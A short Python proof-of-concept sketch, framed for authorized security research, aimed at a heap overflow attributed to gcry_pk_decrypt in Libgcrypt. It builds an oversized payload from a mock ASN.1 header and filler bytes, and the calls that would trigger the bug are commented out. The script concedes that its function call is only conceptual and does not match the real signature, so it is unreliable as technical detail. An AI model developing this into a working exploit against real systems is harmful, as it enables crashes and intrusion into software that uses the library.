The following code is for security research and authorized testing only.
python
import ctypes
# Conceptual PoC for CVE-2026-41989
# This script demonstrates the logic to trigger the heap overflow.
# The vulnerable function is gcry_pk_decrypt in Libgcrypt < 1.12.2.
# Load the library (path may vary)
# libgcrypt = ctypes.CDLL("libgcrypt.so.20")
# Construct a crafted ECDH ciphertext.
# The payload is designed to bypass initial checks and trigger the overflow.
# Example structure: Header + Overflow Data
malicious_header = b"\x30\x82\x01\x0a" # Mock ASN.1 sequence header
overflow_data = b"A" * 5000 # Excessive data to overflow heap buffer
payload = malicious_header + overflow_data
# Initialize Libgcrypt (Required in real usage)
# libgcrypt.gcry_control(1, 0) # GCRYCTL_DISABLE_SECMEM
# libgcrypt.gcry_check_version(None)
# Trigger the vulnerability
# Note: Actual function signature requires valid S-expressions as pointers.
# This is a conceptual representation of passing the payload.
# print("[+] Sending crafted payload to gcry_pk_decrypt...")
# result = libgcrypt.gcry_pk_decrypt(ctypes.c_void_p(), payload, len(payload))
# If successful, the application should crash or heap corruption occurs.
# print("[!] Payload sent. Check for crash.")